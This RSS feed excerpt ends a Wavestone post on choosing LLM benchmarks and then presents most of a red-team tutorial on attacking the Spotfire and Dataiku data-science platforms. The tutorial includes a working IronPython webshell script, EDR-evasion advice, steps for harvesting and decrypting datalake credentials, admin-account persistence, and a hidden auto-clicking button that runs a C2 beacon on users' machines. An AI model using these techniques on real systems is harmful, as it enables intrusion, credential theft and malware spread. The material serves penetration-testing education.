<p style="text-align: justify;">Additionally, each of the above benchmarks has strengths and weaknesses that make them unique and great in different aspects. However, at Wavestone we recognize the importance of diversification to minimize risk. For this reason, we developed a checklist that allows users to make a more informed decision when it comes to choosing a set of benchmarks to follow and using them to compare the latest models. The checklist covers a wide variety of domains, benchmarks and factors that give the end-user more granular control over their benchmark choice.</p>
<p style="text-align: justify;">The tool, also a priority tracker, allows users to set different weights for the benchmarks to accurately reflect their business needs and task natures. For example, a consultant might prioritize multi-modality for diagram and chart analysis over mathematical skills and thus give multi-modality a higher weighting.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><a name="_Toc171702541"></a>Finishing thoughts</h2>
<p style="text-align: justify;">In the rapidly evolving landscape of LLMs, understanding the nuances of different models and their capabilities is crucial. Before considering any LLM, several factors must be taken into consideration, including cut-off date, data privacy, speed, parameter size, context window, and multi-modality. After considering these factors, users can consult different benchmarks to make a more informed decision. The ones covered in this article, MMLU, HellaSwag, HumanEval, and Chatbot Arena, provide a robust system to quantitatively evaluate these models in various domains.</p>
<p style="text-align: justify;">In conclusion, the AI Race is not just about developing better models but also about leveraging and using these models effectively. The journey of choosing the most optimal LLM is not a sprint but a marathon, requiring continuous learning, adaptation, and strategic decision-making through benchmarking and testing. As we continue to explore the potential of LLMs, let us remember that the true measure of success lies not in the sophistication of the technology but in its ability to add value to our work and lives.</p>
<p style="text-align: justify;"> </p>
<h3>Acknowledgements</h3>
<p>We would like to thank Awwab Kamel Hamam for his contribution to this article.</p>
<p> </p>
<h2 style="text-align: justify;"><a name="_Toc171702542"></a>Further Reading and Reference</h2>
<p style="text-align: justify;">[1] D. Hendrycks et al., “Measuring Massive Multitask Language Understanding.” arXiv, 2020. doi: 10.48550/ARXIV.2009.03300. Available: <a href="https://arxiv.org/abs/2009.03300">https://arxiv.org/abs/2009.03300</a></p>
<p style="text-align: justify;">[2] D. Hendrycks et al., “Aligning AI With Shared Human Values.” arXiv, 2020. doi: 10.48550/ARXIV.2008.02275. Available: <a href="https://arxiv.org/abs/2008.02275">https://arxiv.org/abs/2008.02275</a></p>
<p style="text-align: justify;">[3] M. Chen et al., “Evaluating Large Language Models Trained on Code.” arXiv, 2021. doi: 10.48550/ARXIV.2107.03374. Available: <a href="https://arxiv.org/abs/2107.03374">https://arxiv.org/abs/2107.03374</a></p>
<p style="text-align: justify;">[4] R. Zellers, A. Holtzman, Y. Bisk, A. Farhadi, and Y. Choi, “HellaSwag: Can a Machine Really Finish Your Sentence?” arXiv, 2019. doi: 10.48550/ARXIV.1905.07830. Available: <a href="https://arxiv.org/abs/1905.07830">https://arxiv.org/abs/1905.07830</a></p>
<p style="text-align: justify;">[5] W.-L. Chiang et al., “Chatbot Arena: An Open Platform for Evaluating LLMs by Human Preference.” arXiv, 2024. doi: 10.48550/ARXIV.2403.04132. Available: <a href="https://arxiv.org/abs/2403.04132">https://arxiv.org/abs/2403.04132</a><br /><br /></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/09/which-llm-suits-you-optimizing-the-use-of-llm-benchmarks-internally/">Which LLM Suits You? Optimizing the use of LLM Benchmarks Internally.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/09/which-llm-suits-you-optimizing-the-use-of-llm-benchmarks-internally/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DataScience for RedTeam: Extend your attack surface</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 25 Jul 2024 13:19:45 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[DataScience]]></category>
		<category><![CDATA[RedTeam]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23640</guid>

					<description><![CDATA[<p>1. Overview In an information system, applications are not equal. Some of them can be used as an entry point in the information system, others are used as compromise accelerators, and some are saved for post-exploitation. These applications are called...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/">DataScience for RedTeam: Extend your attack surface</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1><span style="color: #451dc7;">1. Overview</span></h1>
<p>In an information system, applications are not equal. Some of them can be used as an entry point in the information system, <span style="color: #451dc7;"><strong>others are used as compromise accelerators</strong></span>, and some are saved for post-exploitation. These applications are called high-value targets.</p>
<p>For example, during a standard attack, the in-house developed web application will be targeted first as they offer an important attack surface and often allow remote code execution on a domain join servers. The <span style="color: #250f6b;"><em>CICD</em></span> infrastructures are exploited to easily rebound on the internal network through the infection of <span style="color: #250f6b;"><em>CICD</em></span> pipeline or the discovery of additional secrets. The <span style="color: #250f6b;"><em>ADCS</em></span> is highly leveraged to speed up the domain compromise through the set of <span style="color: #250f6b;"><em>ESCXX</em></span> vulnerabilities.</p>
<p><span style="color: #451dc7;"><strong>The typology of applications in each category has quietly been the same for several years </strong></span>even if some new challengers have appeared over the years such as the <span style="color: #250f6b;"><em>SCCM</em> </span>application, the <span style="color: #250f6b;"><em>EDR</em> </span>console, etc. But because the same techniques are used for several years now, <span style="color: #451dc7;"><strong>companies started securing these elements making their compromise and exploitation more difficult</strong></span><em>. </em></p>
<p>It is <span style="color: #451dc7;"><strong>time to explore new horizons </strong></span>and renew this old stuff with a new set of applications.</p>
<p>In this article,<span style="color: #451dc7;"><strong> we will look at the DataScience application</strong></span>. With the rise of <span style="color: #250f6b;"><em>BigData</em></span>, more and more companies are integrating <span style="color: #250f6b;"><em>DataScience</em></span> infrastructure on their information system. We will see how these applications can be exploited to:</p>
<ul>
<li><em>Achieve remote code execution</em></li>
<li><em>Move laterally on the internal network</em></li>
<li><em>Spread malware among users</em></li>
<li><em>Ease access persistence</em></li>
<li><em>Exploit datalake for datamining</em></li>
</ul>
<h1><span style="color: #451dc7;">2. Initial Access on the DataScience Application</span></h1>
<p>There are a lot of different <span style="color: #250f6b;"><em>DataScience</em> </span>applications. In this article we will mainly focus on the <span style="color: #250f6b;"><em>Spotfire</em></span> and the <span style="color: #250f6b;"><em>Dataiku</em></span> applications as they are either the most popular or with the wind in their sails.</p>
<p>As <span style="color: #250f6b;"><em>DataScience</em></span> is still new in companies, these applications are often deployed and maintained by the business and not by the <span style="color: #250f6b;"><em>IT</em> </span>department.</p>
<p>Having an application out of the standard <span style="color: #250f6b;"><em>IT</em></span> process (<span style="color: #250f6b;"><em>Shadow IT</em></span>) is often interesting for an attacker. Indeed, when an application is set up out of the standard <em><span style="color: #250f6b;">IT</span> </em>process, it often does not implement the standard security rules enforced by the company. So, you will surely see:</p>
<ul>
<li>Application exposed directly on the internet without additional protection</li>
<li>Application not set up in a specific <span style="color: #250f6b;"><em>DMZ</em> </span>with a direct access to the internal network</li>
<li>Application with a local authentication instead of the global company authentication mechanism</li>
<li>Lack of hardening in the deployment process and lack of security patch deployment</li>
</ul>
<p>These points can seem irrelevant, but the accumulation leads to the possibility to access to these applications directly from the <span style="color: #250f6b;"><em>Internet</em> </span>with unsecured or default credentials still valid or through an authentication bypass fixed few years ago but never patched cause the business doesn&#8217;t know or even care…</p>
<h1><span style="color: #451dc7;">3. DataScience is RCE as a service</span></h1>
<h2><span style="color: #451dc7;">3.1. Why using datascience application</span></h2>
<p>Before getting to the heart of the matter, let’s take some time to discuss the interest and use case of <span style="color: #250f6b;"><em>datascience</em> </span>application.</p>
<p>Let’s take as an example a company that sell several types of products such as <span style="color: #250f6b;"><em>Amazon</em></span> or any marketplace. This company wants to see in real time the trending products depending on some user characteristic collected by their website analytics.</p>
<p>They can use an <span style="color: #250f6b;"><em>Excel</em></span> file and try using the <span style="color: #250f6b;"><em>Excel VBA</em> </span>features to create graphs and trends, but it would be very painful to manually import all data in the <span style="color: #250f6b;"><em>Excel</em></span> file and for a company with millions of customers, the <span style="color: #250f6b;"><em>Excel</em></span> will likely crash every time some sneeze nearby.</p>
<p>To solve this problem, the company started storing its analytics data in a database that will be called a <span style="color: #250f6b;"><em>datalake</em></span>. Then, when someone wants to create a nice report, he creates a <span style="color: #250f6b;"><em>python</em></span> script that connects to the database, fetch the relevant data, process it through <span style="color: #250f6b;"><em>numpy</em></span> or <span style="color: #250f6b;"><em>panda</em></span> and use <span style="color: #250f6b;"><em>matplotlib</em></span> to draw the graph and trends. This is much better, the application can scale up, is more stable but it asks for technical scripting skills so the business cannot use it by itself.</p>
<p>So, the company decides to develop a nice front-end to wrap all the <span style="color: #250f6b;"><em>python</em></span> script behind a nice <span style="color: #250f6b;"><em>UI</em></span> anyone can use. Users can connect to the application, choose the data to import, process it and draw graph without writing a single line of code.</p>
<p>They just created their first <span style="color: #250f6b;"><em>datascience</em></span> application.</p>
<p>Today, companies will not likely invest several months of development on this type of setup. They prefer to buy an all-in-one commercial application. Among these applications there are <span style="color: #250f6b;"><em>Spotfire</em></span> and <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<h2><span style="color: #451dc7;">3.2. Where is my RCE?</span></h2>
<p><span style="color: #250f6b;"><em>Datascience</em></span> application can be summarized as a simple frontend for data processing scripts. And sometimes, the built-in functions are not enough so they expose access to their script engine to allow developers to create custom script that can be fully integrated to the environment and used by the business.</p>
<h3><span style="color: #451dc7;">3.2.1. Spotfire</span></h3>
<p><span style="text-decoration: underline;"><strong>Basic Spotfire infrastructure</strong></span></p>
<p>When deployed as-is, the <span style="color: #250f6b;"><em>Spotfire</em></span> infrastructure looks like the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23661" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01.png" alt="" width="949" height="488" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-371x191.png 371w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-768x395.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Figure 1: Basic Spotfire infrastructure</em></p>
<p>The user connects to a <span style="color: #250f6b;"><em>WebUI</em></span> exposed by the <span style="color: #250f6b;"><em>Spotfire WebPlayer</em> </span>or through a dedicated <span style="color: #250f6b;"><em>Spotfire</em></span> thick client directly from their workstation and access to their report stored in the <span style="color: #250f6b;"><em>Spotfire</em></span> server. Once the reports are opened, they contact the Spotfire Server to retrieve the data and execute the data cleaning script.</p>
<p><strong><span style="text-decoration: underline;">Remote Code Execution</span></strong></p>
<p>The Spotfire allows by design the execution of <span style="color: #250f6b;"><em>R</em></span> script but execution of <span style="color: #250f6b;"><em>Python</em></span> script can be easily enabled by loading the <span style="color: #250f6b;"><em>IronPython</em></span> scripting module.</p>
<p>In any case, users are able to execute scripts directly from the <em><span style="color: #250f6b;">Spotfire WebPlayer</span> </em>or the thick client. However, they are only able to modify or create script from the <span style="color: #250f6b;"><em>Spotfire</em> </span>thick client.</p>
<p>From the thick client, it is possible to create a new project. Inside the project, it is possible to create a <span style="color: #250f6b;"><em>UI</em></span>. Let’s create a webshell <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>First, we will create the <em><span style="color: #250f6b;">UI</span></em>. It will consist of a <span style="color: #250f6b;"><em>textarea</em> </span>to type the command, another <span style="color: #250f6b;"><em>textarea</em> </span>to display the command result and a button to send the command:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23663" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg" alt="" width="1196" height="758" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-301x191.jpg 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-768x487.jpg 768w" sizes="auto, (max-width: 1196px) 100vw, 1196px" /></p>
<p style="text-align: center;"><em>Figure 2: Final webshell UI</em></p>
<p>Once the project has been created, we create a new empty page. When an empty page is created, <span style="color: #250f6b;"><em>Spotfire</em></span> asks if we want to start with data, visualization or other:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23665" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg" alt="" width="848" height="524" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-309x191.jpg 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-768x475.jpg 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 3: Spotfire new page</em></p>
<p>We will choose “<span style="color: #250f6b;"><em>Start from Visualizations</em></span>” and choose the “<em><span style="color: #250f6b;">Text area</span></em>” visualization type. This should show a full blank page:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23667" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg" alt="" width="840" height="532" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg 840w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-302x191.jpg 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-768x486.jpg 768w" sizes="auto, (max-width: 840px) 100vw, 840px" /></p>
<p style="text-align: center;"><em>Figure 4: Spotfire new textarea</em></p>
<p>This <span style="color: #250f6b;"><em>textarea</em> </span>will contain the whole webshell input control. Let’s create another <span style="color: #250f6b;"><em>textarea</em> </span>for the result:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23669" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg" alt="" width="953" height="597" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg 953w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-305x191.jpg 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-768x481.jpg 768w" sizes="auto, (max-width: 953px) 100vw, 953px" /></p>
<p style="text-align: center;"><em>Figure 5: Spotfire second textarea</em></p>
<p>So now, we can click on “<span style="color: #250f6b;"><em>Edit Text Area</em></span>” at the top of the first text area. This will allow the customization of the text area content.</p>
<p>First let’s add an input control that will be used to type the command to send to the server:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23671" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg" alt="" width="1140" height="666" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg 1140w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-327x191.jpg 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-768x449.jpg 768w" sizes="auto, (max-width: 1140px) 100vw, 1140px" /></p>
<p style="text-align: center;"><em>Figure 6: Text area modification</em></p>
<p>We will bind the control value to a document property to be able to use it with our future python script. We can create a new property called <span style="color: #250f6b;"><em>Input</em> </span>with the data type <span style="color: #250f6b;"><em>String</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23673" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg" alt="" width="629" height="792" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg 629w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-152x191.jpg 152w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-31x39.jpg 31w" sizes="auto, (max-width: 629px) 100vw, 629px" /></p>
<p style="text-align: center;"><em>Figure 7: Bind control to input field</em></p>
<p>Then, let’s create an action control by clicking on the “<span style="color: #250f6b;"><em>Insert Action Control</em></span>” button at the top of the <em><span style="color: #250f6b;">Edit Text Area</span> </em>window. We click on Script and choose the Control type Button. Then we can create a new <span style="color: #250f6b;"><em>IronPython</em> </span>script:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23675" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg" alt="" width="826" height="770" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-205x191.jpg 205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-42x39.jpg 42w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-768x716.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></p>
<p style="text-align: center;"><em>Figure 8: Add button</em></p>
<p>Fill the script content with the following code:</p>
<pre><br /><code>from Spotfire.Dxp.Application.Visuals import *</code><br /><code>from System.IO import *</code><br /><code>from System.Drawing import *</code><br /><code>from System.Drawing.Imaging import *</code><br /><code>from System.Text.RegularExpressions import *</code><br /><code>import subprocess</code><br /><code>vis=visual.As[HtmlTextArea]()</code><br /><code>if 'clean!' in com:</code><br /><code>    vis.HtmlContent = ''</code><br /><code>else:</code><br /><code>    try:</code><br /><code>        vis.HtmlContent = "Executing {}".format(com)</code><br /><code>        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)</code><br /><code>        output, _ = process.communicate()</code><br /><code>        vis.HtmlContent='&lt;br&gt;'.join(output.split('\n'))</code><br /><code>    except Exception as e:</code><br /><code>        vis.HtmlContent="{}".format(e)</code></pre>
<p>This code loads a bunch of <span style="color: #250f6b;"><em>Spotfire</em></span> libraries that are used to communicate with the <span style="color: #250f6b;"><em>UI</em></span>. The “<span style="color: #250f6b;"><em>visual</em></span>” variable represents the text area used to display the result. The “<span style="color: #250f6b;"><em>com</em></span>” variable contains the value of the property bond to our input field created.</p>
<p>The script executes the command stored in the “<span style="color: #250f6b;"><em>com</em></span>” and write the result on the <span style="color: #250f6b;"><em>UI</em></span> element pointed by the “<span style="color: #250f6b;"><em>visual</em></span>” variable.</p>
<p>Now, we have to bind the “<span style="color: #250f6b;"><em>visual</em></span>” and “<span style="color: #250f6b;"><em>com</em></span>” variable to the different project element. In the “<span style="color: #250f6b;"><em>Script parameters</em></span>” table, add a new parameter:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23677" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg" alt="" width="532" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-189x191.jpg 189w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-38x39.jpg 38w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: center;"><em>Figure 9: Bind visual parameter</em></p>
<p>Do the same for the com parameter:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23679" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg" alt="" width="623" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg 623w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-187x191.jpg 187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-38x39.jpg 38w" sizes="auto, (max-width: 623px) 100vw, 623px" /></p>
<p style="text-align: center;"><em>Figure 10: Bind com parameter</em></p>
<p>So now, when the script is executed, it will automatically bind the visual parameter to the <span style="color: #250f6b;"><em>textarea</em></span> panel used to display the result and the com parameter to the content of the <span style="color: #250f6b;"><em>Input</em> </span>property created when defining the input field.</p>
<p>Let’s save all of this. Congratulations, we have a working webshell:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23681" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg" alt="" width="809" height="261" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg 809w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-437x141.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-71x23.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-768x248.jpg 768w" sizes="auto, (max-width: 809px) 100vw, 809px" /></p>
<p style="text-align: center;"><em>Figure 11: Final webshell</em></p>
<p>If executed directly from the thick client, the code will only be executed in local, so this is not really interesting. However, if the code is executed directly from the <span style="color: #250f6b;"><em>Spotfire Webplayer</em></span>, it will be executed on the <span style="color: #250f6b;"><em>Spotfire</em></span> server, leading to a remote code execution on the server.</p>
<p> </p>
<h3><span style="color: #451dc7;">3.2.2. Dataiku</span></h3>
<p>The remote code execution on <span style="color: #250f6b;"><em>Dataiku</em></span> is more straight forward. Indeed, <span style="color: #250f6b;"><em>Dataiku</em></span> directly embeds a <span style="color: #250f6b;"><em>Jupyter</em></span> notebook like features.</p>
<p>By creating a new <span style="color: #250f6b;"><em>Jupyter</em></span> project, it is possible to directly execute command on the server as shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23683" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png" alt="" width="526" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png 526w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-71x31.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></p>
<p style="text-align: center;"><em>Figure 12: Code execution with Dataiku</em></p>
<h3><span style="color: #451dc7;">3.2.3. OPSEC consideration</span></h3>
<p>One can say that spawning python process as a child process for <span style="color: #250f6b;"><em>Spotfire</em></span> or <span style="color: #250f6b;"><em>Dataiku</em></span> will lead to hard detection by <span style="color: #250f6b;"><em>EDR</em></span>. However, we have to keep in mind that spawning a python process is a legit behavior for the <span style="color: #250f6b;"><em>Spotfire</em></span> or <span style="color: #250f6b;"><em>Dataiku</em></span> process.</p>
<p>However, if you start to spawn cmd.exe directly from the python script, yes, this could lead to hard detection. But <span style="color: #250f6b;"><em>python</em></span> is known to be suspicious by default and <span style="color: #250f6b;"><em>EDR</em></span> are a little more relaxed about the actions performed by a python process due to several false positive.</p>
<p>So, in a nutshell, spawning the python process should not lead to any specific detection, but you should be careful on the script you will execute from it.</p>
<h1><span style="color: #451dc7;">4. Credentials harvesting</span></h1>
<p>Having <span style="color: #250f6b;"><em>RCE</em></span> on a server is always nice, but it is better to know what we can do with it. First of all, if you achieved <span style="color: #250f6b;"><em>RCE</em></span> on a domain join computer, you have an authenticated access to the domain, and when you are coming directly from the internet this is the cherry on the cake.</p>
<p>The specificity of <span style="color: #250f6b;"><em>datascience</em></span> applications is that they are connected to <span style="color: #250f6b;"><em>datalake</em></span>. These connections can be standard <span style="color: #250f6b;"><em>SQL</em></span> connection, but they can also be connection to cloud <span style="color: #250f6b;"><em>datalake</em></span> such as <span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>With an <span style="color: #250f6b;"><em>RCE</em></span> on the server, you can usually access to all the credentials stored in the application.</p>
<h2><span style="color: #451dc7;">4.1. Example with Dataiku</span></h2>
<p>On <span style="color: #250f6b;"><em>Dataiku</em></span>, the secrets are stored in the <span style="color: #250f6b;"><em>DATA_DIR/config directory</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23685" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png" alt="" width="607" height="203" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-437x146.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-71x24.png 71w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: center;"><em>Figure 13: Configuration file for dataiku</em></p>
<p>The <span style="color: #250f6b;"><em>users.json</em> </span>contains the user database for <span style="color: #250f6b;"><em>dataiku</em></span>. You can use it to create a new administrator user and keep persistence on the environment.</p>
<p>The <span style="color: #250f6b;"><em>connections.json</em> </span>file contains all the credentials to access to the <span style="color: #250f6b;"><em>datalakes</em></span>. However, the passwords are stored encrypted:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23687" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png" alt="" width="488" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png 488w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-71x30.png 71w" sizes="auto, (max-width: 488px) 100vw, 488px" /></p>
<p style="text-align: center;"><em>Figure 14: Password stored encrypted</em></p>
<p>Hopefully, <span style="color: #250f6b;"><em>Dataiku</em></span> provides a tool to decrypt these credentials:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png" alt="" width="575" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png 575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-437x58.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-71x9.png 71w" sizes="auto, (max-width: 575px) 100vw, 575px" /></p>
<p style="text-align: center;"><em>Figure 15: Password decryption on Dataiku</em></p>
<p>You can now use these credentials to jump on the remote database or directly on the cloud if they use <span style="color: #250f6b;"><em>AWS Datalake</em> </span>or <span style="color: #250f6b;"><em>AWS</em></span> stored databases.</p>
<p>Finally, the <span style="color: #250f6b;"><em>dataiku</em></span> account that is used to run the <span style="color: #250f6b;"><em>Dataiku</em></span> instance has all privileges on the <span style="color: #250f6b;"><em>Dataiku</em></span> instance data. You can then just retrieve all project data.</p>
<p> </p>
<h1><span style="color: #451dc7;">5. Spread among the users</span></h1>
<p>This part only applies to <span style="color: #250f6b;"><em>Spotfire</em></span> as <span style="color: #250f6b;"><em>Dataiku</em></span> does not provides thick client and this exploitation relies on the fact that user will execute code on their workstation and not on the remote server.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.1. Infect other users</span></h2>
<p>Scripts embedded in analysis must be trusted in order to be executed by other users. This trust process is performed through <span style="color: #250f6b;"><em>Spotfire</em></span> users with specific rights. With remote code execution on the Spotfire instance, it is possible to directly create a new administrator user. However, due to the unsecured management on users by the business teams, all users usually have the privileges to trust the scripts.</p>
<p>In order to compromise the users, the <span style="color: #250f6b;"><em>Spotfire</em></span> application can be <strong><span style="color: #451dc7;">weaponized as a command-and-control infrastructure</span></strong><em>.</em></p>
<p>When the user opens an analysis file from his thick client, the file is locally downloaded, and all scripts contained on the project are executed locally on the user workstation.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23691" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16.png" alt="" width="947" height="725" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-249x191.png 249w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-768x588.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 16: Macro view of the Spotfire C2 infrastructure</em></p>
<p>This analysis sheet has been <span style="color: #451dc7;"><strong>weaponized through a JS script</strong></span>. When opened by the user, the <span style="color: #250f6b;"><em>JavaScript</em></span> code will be executed leading to the execution of a final python script containing the <span style="color: #250f6b;"><em>C2</em></span> beacon.</p>
<p>This can be done by adding in any page of the project a new button that will trigger the <span style="color: #250f6b;">C2</span> python runtime. The button can be configured to have a <span style="color: #250f6b;"><em>1px</em></span> size, making it invisible. Then a <span style="color: #250f6b;"><em>JS</em></span> script can be added to automatically click on the button on a regular basis (every <span style="color: #250f6b;"><em>30</em></span> seconds for example).</p>
<p>As long as the analysis file is opened, the <span style="color: #250f6b;"><em>JavaScript</em></span> code will call the <span style="color: #250f6b;"><em>C2</em></span> python script every <span style="color: #250f6b;"><em>30</em></span> seconds allowing execution of<span style="color: #451dc7;"><strong> arbitrary python script and OS command on the user computer</strong></span><em>.</em></p>
